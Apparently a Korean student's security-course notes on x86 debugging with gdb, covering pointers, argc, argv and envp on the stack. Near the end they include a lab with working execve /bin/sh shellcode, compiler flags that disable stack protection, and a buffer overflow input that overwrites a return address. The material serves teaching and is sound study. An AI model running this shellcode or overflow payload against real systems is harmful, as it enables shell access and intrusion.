본문 바로가기
정보보안

정보보안3 4차시

by IT매니절 2024. 6. 9.

disp $ebp
disp $esp
disp /i $eip
disp /4xw $esp

-

 

int main(int argc, char *argv[])
=> argc : 메인함수의 첫 번째 인수
=> *argv[] : 인수의 값들 (포인터 배열)

*argv[] = **argv

 

예시)

int a의 값 = 3
a의 주소값 = 0x1234
int *p1 = &a 일 때 p1의 값 = 0x1234
p1의 주소값 = 0x5678
int **p2 = &p1 일 때 p2의 값 = 0x5678
p2의 주소값 = 0x0910

( 주소값 printf 할 때는 %p )

 

이 때

p2 = 0x5678            <- p1의 주소값

*p2 = 0x1234           <- a의 주소값

&p2 = 0x0910          <- p2의 주소값

 

(gdb) disas main
Dump of assembler code for function main:
   0x080484ad <+0>:     push   ebp
   0x080484ae <+1>:     mov    ebp,esp
   0x080484b0 <+3>:     sub    esp,0x10
=> 0x080484b3 <+6>:     mov    DWORD PTR [ebp-0x10],0x80485bc
   0x080484ba <+13>:    mov    DWORD PTR [ebp-0xc],0x80485be
   0x080484c1 <+20>:    mov    DWORD PTR [ebp-0x8],0x80485c2
   0x080484c8 <+27>:    mov    DWORD PTR [ebp-0x4],0x0
   0x080484cf <+34>:    lea    eax,[ebp-0x10]
   0x080484d2 <+37>:    push   eax
   0x080484d3 <+38>:    call   0x80484e2 <ptr_function>
   0x080484d8 <+43>:    add    esp,0x4
   0x080484db <+46>:    mov    eax,0x0
   0x080484e0 <+51>:    leave
   0x080484e1 <+52>:    ret

 

char *ptr[] = {"1", "2te", "3st", NULL};

 

(gdb) x/4xw $esp
0xffffd448:     0x080485bc      0x080485be      0x080485c2      0x00000000

 

변수에 배열을 할당하고 나면 esp 메모리 조사를 했을 때 순서대로 스택에 들어가 있음

 

(gdb) x/4wx 0x080485bc
0x80485bc:      0x74320031      0x73330065      0x73250074      0x00000020

조사를 해보면       t   2      1             s  3     e                        t

= 1 2te 3st (아스키 코드에 대응됨)

 

 

(gdb) set args A AA AAA AAAA

=> gdb r 전에 set args

(gdb) r
Starting program: /root/assembly/x86/argc1 A AA AAA AAAA
Breakpoint 1, main (argc=5, argv=0xffffd4c4) at argc1.c:13
warning: Source file is more recent than executable.
13          printf("argument count = %d\n", argc);

=> run 하면 argc, argv 등 정보를 볼 수있다

 

(gdb) p &argc
$1 = (int *) 0xffffd440
(gdb) p argv
$2 = (char **) 0xffffd4c4

 

(gdb) x/s *(argv)
0xffffd63c:     "/root/assembly/x86/argc1"
(gdb) x/s *(argv+1)
0xffffd655:     "A"
(gdb) x/s *(argv+2)
0xffffd657:     "AA"
(gdb) x/s *(argv+3)
0xffffd65a:     "AAA"
(gdb) x/s *(argv+4)
0xffffd65e:     "AAAA"

 

(gdb) x/8xw 0xffffd4c4
0xffffd4c4:     0xffffd63c      0xffffd655      0xffffd657      0xffffd65a
0xffffd4d4:     0xffffd65e      0x00000000      0xffffd663      0xffffdc4e

=> argv의 변수 다섯 개(첫번째는 명령어), NULL 포인트.

 

(gdb) x/4xw 0xffffd655
0xffffd655:     0x41410041      0x41414100      0x41414100      0x534c0041

                          A  A       A           A  A  A                A  A  A                           A

 

(gdb) x/8xw 0xffffd63c
0xffffd63c:     0x6f6f722f      0x73612f74      0x626d6573      0x782f796c

                          o o  r  /             s  a  /  t            b  m  e  s           x  /  y  l
0xffffd64c:     0x612f3638      0x31636772      0x41004100      0x41410041

                          a  /   6 8             1  c   g  r

=> /root/assembly/x86/argc1

 

(gdb) x/xw &argv[1]
0xffffd4c8:     0xffffd655

(gdb) x/xw argv[1]
0xffffd655:     0x41410041

=> 주소값, 주소값의 값.

 

 

(gdb) x/8xw $ebp
0xffffd438:     0x00000000      0xf7e34f36      0x00000005      0xffffd4c4

                      함수시작점      RET 복귀주소          argc                argv

=> ebp와 esp가 같은 시점, 시작점SFP에서 찍어봤을 때 인수들 위치

 

0xffffd448:     0xffffd4dc      0xffffd464      0x0804a010      0x00000008

                         envp ( 환경 변수 위치)

 envp는 프로그램에서 사용하지 않으면 다른 쓰레기값이 들어있을 수 있음

( 사용하지않을 때:

(gdb) x/s 0xfffd4c4
0xfffd4c4:      <error: Cannot access memory at address 0xfffd4c4>

사용할 때 : 에러 메시지 대신 뭔가 들어있다는 메시지가 뜨긴 했음 )

 

(gdb) x/i $eip

0xf7e34f36 <__libc_start_main+246>:  add    esp,0x10

=> 복귀주소로 이동한다는 뜻. 메인 끝났을 때의 명령어

 

envp를 사용하는 프로그램을 컴파일하여 gdb 실행

(gdb) x/8xw $ebp
0xffffd448:     0x00000000      0xf7e34f36      0x00000004      0xffffd4d4
0xffffd458:     0xffffd4e8      0xffffd474      0x0804a010      0x00000008

 

(gdb) x/s 0xffffd4e8
0xffffd4e8:     "c\326\377\377N\334\377\377\204\334\377\377\223\334\377\377\244\334\377\377\273\334\377\377\337\334\377\377\365\334\377\377\b\335\377\377!\335\377\377\062\335\377\377<\335\377\377T\335\377\377k\335\377\377t\335\377\377\177\335\377\377\241\335\377\377\272\335\377\377\332\335\377\377\355\335\377\377\370\335\377\377\022\336\377\377\035\336\377\377-\336\377\377H\336\377\377P\336\377\377]\336\377\377\220\336\377\377\254\336\377\377\355\336\377\377\035\337\377\377+\337\377\377N\337\377\377"
(gdb) x/s 0xffffd4d4
0xffffd4d4:     "A\326\377\377Z\326\377\377\\\326\377\377_\326\377\377"

------------------------ 주소값
(gdb) x/s *0xffffd4e8
0xffffd663:     "LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=01;05;37;41:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01"...
(gdb) x/s *0xffffd4d4
0xffffd641:     "/root/assembly/x86/argc2"

------------------------ 주소값의 값

(gdb) x/s *argv
0xffffd641:     "/root/assembly/x86/argc2"
(gdb) x/s *(argv+1)
0xffffd65a:     "A"

 

환경변수, argv의 주소값과 내용들

 

(gdb) p argv
$1 = (char **) 0xffffd4d4
(gdb) p envp
$3 = (char **) 0xffffd4e8
(gdb) p &argc
$4 = (int *) 0xffffd450

 

(gdb) x/36xw envp
0xffffd4e8:     0xffffd663      0xffffdc4e      0xffffdc84      0xffffdc93
0xffffd4f8:     0xffffdca4      0xffffdcbb      0xffffdcdf      0xffffdcf5
0xffffd508:     0xffffdd08      0xffffdd21      0xffffdd32      0xffffdd3c
0xffffd518:     0xffffdd54      0xffffdd6b      0xffffdd74      0xffffdd7f
0xffffd528:     0xffffdda1      0xffffddba      0xffffddda      0xffffdded
0xffffd538:     0xffffddf8      0xffffde12      0xffffde1d      0xffffde2d
0xffffd548:     0xffffde48      0xffffde50      0xffffde5d      0xffffde90
0xffffd558:     0xffffdeac      0xffffdeed      0xffffdf1d      0xffffdf2b
0xffffd568:     0xffffdf4e      0x00000000      0x00000020      0xf7fcc120

=> 0x00000000(Null 포인터)부터 전부 envp 내용

 

envp 내용에 악성코드를 넣는 공격이 있을 수 있다

 

(gdb) define print_envp
Type commands for definition of "print_envp".
End with a line saying just "end".
>set $i = 0
>while envp[$i]
 >printf "envp[%d]: %s \n", $i, envp[$i]
 >set $i = $i + 1
 >end
>end

 

gdb에서 자동화 스크립트 이용 가능

 

 

실습) envp를 이용한 공격코드

- 로키 리눅스8은 막혀있어서 centos7로 진행

 

코드

// 24byte
char shellcode[] =
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99"
"\xb0\x0b\xcd\x80";
// 쉘을 실행시키는 가장 작은 기계어 코드
int main()
{
    (*(int(*)())shellcode)();
    return 0;
}

gcc -m32 -Wall -fno-stack-protector -mpreferred-stack-boundary=2 -z execstack -g -o myshell myshell.c

./myshell

실행시 sh-4.2# 탈취됨

 

-fno-stack-protector : 스택 프로텍터 제거 옵션

-z execstack : 스택에 올라간 기계어 코드 실행하는 옵션

-mpreferred-stack-boundary=2: 함수들의 스택프레임에서 가장 낮은 주소가 2의 n제곱의 배수가 되도록 align

 

함수

하나 이상의 명령어를 묶어 놓은 것
재사용을 위해 만들어짐
함수에도 메모리 주소가 있다

 

함수포인터 : 함수를 가리킬 수 있는 포인터

형식: 리턴타입 (*포인터변수명)(매개변수1[, ...]);

ex) (*(int(*)())shellcode)();

함수포인터를 함수처럼 호출함

 

버퍼오브플로우BOP

gdb를 이용한 코어파일 분석

 

(python -c 'print("A"*16 + "\xf0\x84\x04\x08")'; cat) | ./bof1

'정보보안' 카테고리의 다른 글

정보보안3 5차시  (0) 2024.06.15
버퍼오버플로우 복습  (0) 2024.06.11
정보보안3 3차시  (0) 2024.06.08
정보보안3 2차시  (0) 2024.06.02
정보보안3 1차시  (0) 2024.06.01